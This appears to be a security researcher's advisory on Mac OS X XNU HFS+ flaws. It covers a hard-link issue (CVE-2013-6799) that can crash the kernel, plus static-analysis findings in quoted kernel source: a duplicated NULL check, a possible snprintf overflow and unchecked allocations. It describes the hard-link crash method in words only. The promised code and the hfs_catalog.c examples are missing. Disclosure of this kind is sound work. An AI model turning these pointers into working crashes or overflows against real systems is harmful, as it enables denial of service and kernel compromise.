MacOSX/XNU HFS Multiple Vulnerabilities

===================

On November 8th, I've reported vulnerability in hard links for HFS+
(CVE-2013-6799)

http://cxsecurity.com/issue/WLB-2013110059

The HFS+ file system does not apply strict privilege rules during the
creating of hard links. The ability to create hard links to directories is
wrong implemented and such an issue is affecting os versions greater or
equal to 10.5. Officially Apple allows you to create hard links only for
your time machine. <see wiki> Vulnerability CVE-2013-6799 (incomplete fix
for CVE-2010-0105) allow to create hard link to directory and the number of
hard links may be freely high. To create N hard links, you must use a
special algorithm which creates links from the top of the file system tree.
This means that first we create the directory structure and once created we
need to go from up to down by creating hard links. The last time I've
mentioned of the possibility of a kernel crash by performing the 'ls'
command. This situation occurs in conjunction with the 'find' application.

Commands such as 'ls' behave in unexpected ways. Apple are going find this
crash point in code. To create huge hard links structure, use this code

XNU is the computer operating system kernel that Apple Inc. acquired and
developed for use in the Mac OS X operating system and released as free and
open source software as part of the Darwin operating system. We can try to
see HFS implementation code. Let's start static code analysys using
cifrex.org tool!

-1.---------------------------------------------------------
Unchecked Return Value to NULL Pointer Dereference in hfs_vfsops.c

Code:
http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_vfsops.c

--- hfs_vfsops.c ----------------------------
/*
 * HFS filesystem related variables.

int
hfs_sysctl(int *name, __unused u_int namelen, user_addr_t oldp, size_t
*oldlenp,
user_addr_t newp, size_t newlen, vfs_context_t context)
{
...
       if ((newlen <= 0) || (newlen > MAXPATHLEN))
            return (EINVAL);

        bufsize = MAX(newlen * 3, MAXPATHLEN);
        MALLOC(filename, char *, newlen, M_TEMP, M_WAITOK);
        if (filename == NULL) { <=====================================
filename CHECK
            error = ENOMEM;
            goto encodinghint_exit;
        }
        MALLOC(unicode_name, u_int16_t *, bufsize, M_TEMP, M_WAITOK);
        if (filename == NULL) { <======================================
double CHECK?
            error = ENOMEM;
            goto encodinghint_exit;
        }

        error = copyin(newp, (caddr_t)filename, newlen);
        if (error == 0) {
            error = utf8_decodestr((u_int8_t *)filename, newlen - 1,
unicode_name,
                                   &bytes, bufsize, 0, UTF_DECOMPOSED);
            if (error == 0) {
                hint = hfs_pickencoding(unicode_name, bytes / 2);
                error = sysctl_int(oldp, oldlenp, USER_ADDR_NULL, 0,
(int32_t *)&hint);
            }
        }
--- hfs_vfsops.c----------------------------

Twice checking of 'filename' has no sense. Probably 'unicode_name' should
be checked in second condition.


-2.---------------------------------------------------------
Possible Buffer Overflow in resource fork (hfs_vnops.c)

Unverified value returned by snprintf() may be bigger as a declared buffer
(MAXPATHLEN).


https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man3/snprintf.3.html
---
The snprintf() and vsnprintf() functions will write at most n-1 of the
characters printed into the out-put output
     put string (the n'th character then gets the terminating `\0'); if the
return value is greater than or
     equal to the n argument, the string was too short and some of the
printed characters were discarded.
     The output is always null-terminated.
---


Code:
http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_vnops.c

--- hfs_vnops.c ----------------------------
...
/*
 * hfs_vgetrsrc acquires a resource fork vnode corresponding to the cnode
that is
 * found in 'vp'.  The rsrc fork vnode is returned with the cnode locked
and iocount
 * on the rsrc vnode.
 *
 ...


int
hfs_vgetrsrc(struct hfsmount *hfsmp, struct vnode *vp, struct vnode **rvpp,
int can_drop_lock, int error_on_unlinked)
{

...

/*
 * Supply hfs_getnewvnode with a component name.

cn.cn_pnbuf = NULL;
if (descptr->cd_nameptr) {
            MALLOC_ZONE(cn.cn_pnbuf, caddr_t, MAXPATHLEN, M_NAMEI,
M_WAITOK);
            cn.cn_nameiop = LOOKUP;
            cn.cn_flags = ISLASTCN | HASBUF;
            cn.cn_context = NULL;
            cn.cn_pnlen = MAXPATHLEN;
            cn.cn_nameptr = cn.cn_pnbuf;
            cn.cn_hash = 0;
            cn.cn_consume = 0;
            cn.cn_namelen = snprintf(cn.cn_nameptr, MAXPATHLEN,
<================
                         "%s%s", descptr->cd_nameptr,
                         _PATH_RSRCFORKSPEC);
        }
        dvp = vnode_getparent(vp);
        error = hfs_getnewvnode(hfsmp, dvp, cn.cn_pnbuf ? &cn : NULL,
<================
                                descptr, GNV_WANTRSRC | GNV_SKIPLOCK,
&cp->c_attr,
                                &rsrcfork, &rvp, &newvnode_flags);

--- hfs_vnops.c ----------------------------

Pattern is '%s%s' where sum of length descptr->cd_nameptr and
_PATH_RSRCFORKSPEC may be bigger as a declared buffer size (MAXPATHLEN).
Size of descptr->cd_nameptr is MAXPATHLEN and value _PATH_RSRCFORKSPEC is

  #define _PATH_RSRCFORKSPEC     "/..namedfork/rsrc"

where length is 17 chars. Possible up to 17 chars overflow here?.

Now let's see hfs_getnewvnode function

http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_cnode.c

--- hfs_cnode.c ----------------------------
hfs_getnewvnode(
    struct hfsmount *hfsmp,
    struct vnode *dvp,
    struct componentname *cnp, <======== WATCH THIS
    struct cat_desc *descp,
    int flags,
    struct cat_attr *attrp,
    struct cat_fork *forkp,
    struct vnode **vpp,
    int *out_flags)
{
...
                if ((*vpp != NULL) && (cnp)) {
                    /* we could be requesting the rsrc of a hardlink
file...
                    vnode_update_identity (*vpp, dvp, cnp->cn_nameptr,
cnp->cn_namelen, cnp->cn_hash, <== NAMELEN HERE
                            (VNODE_UPDATE_PARENT | VNODE_UPDATE_NAME));
...
--- hfs_cnode.c ----------------------------

and call to vnode_update_indentity()

http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/vfs/vfs_cache.c


--- vfs_cache.c ----------------------------
void
vnode_update_identity(vnode_t vp, vnode_t dvp, const char *name, int
name_len, uint32_t name_hashval, int flags)
{
...
    if ( (flags & VNODE_UPDATE_NAME) ) {
        if (name != vp->v_name) {
            if (name && *name) {
                if (name_len == 0)
                    name_len = strlen(name);
                tname = vfs_addname(name, name_len, name_hashval, 0); <==
NAMELEN HERE
            }
        } else
            flags &= ~VNODE_UPDATE_NAME;
    }
...
const char *
vfs_addname(const char *name, uint32_t len, u_int hashval, u_int flags)
{
    return (add_name_internal(name, len, hashval, FALSE, flags));  <== CALL

}
--- vfs_cache.c ----------------------------

And invalid memory reference in add_name_internal()

--- vfs_cache.c ----------------------------
static const char *
add_name_internal(const char *name, uint32_t len, u_int hashval, boolean_t
need_extra_ref, __unused u_int flags)
{
    struct stringhead *head;
    string_t          *entry;
    uint32_t          chain_len = 0;
    uint32_t      hash_index;
        uint32_t      lock_index;
    char              *ptr;

    /*
     * if the length already accounts for the null-byte, then
     * subtract one so later on we don't index past the end
     * of the string.

    if (len > 0 && name[len-1] == '\0') { <===== INVALID MEMORY REFERENCE
        len--;
    }
    if (hashval == 0) {
        hashval = hash_string(name, len);
    }
--- vfs_cache.c ----------------------------


-3.---------------------------------------------------------
Unchecked Return Value to NULL Pointer Dereference hfs_catalog.c and not
only

Please pay attention that a buffer length check (stored in some variable)
should be performed; also return from *alloc() function family should be
verified for possible NULL pointers.
Here are a few FALSE / POSITIVE examples.

http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_catalog.c

--- hfs_catalog.c ----------------------------
 /*

--- hfs_catalog.c ----------------------------

The above examples does not look nice, too. Are you among them is the crux
of the problem applications and kernel crash?
I informed Apple of those possible errors, it has passed more than a month
and I still have not received any comment nor solution.
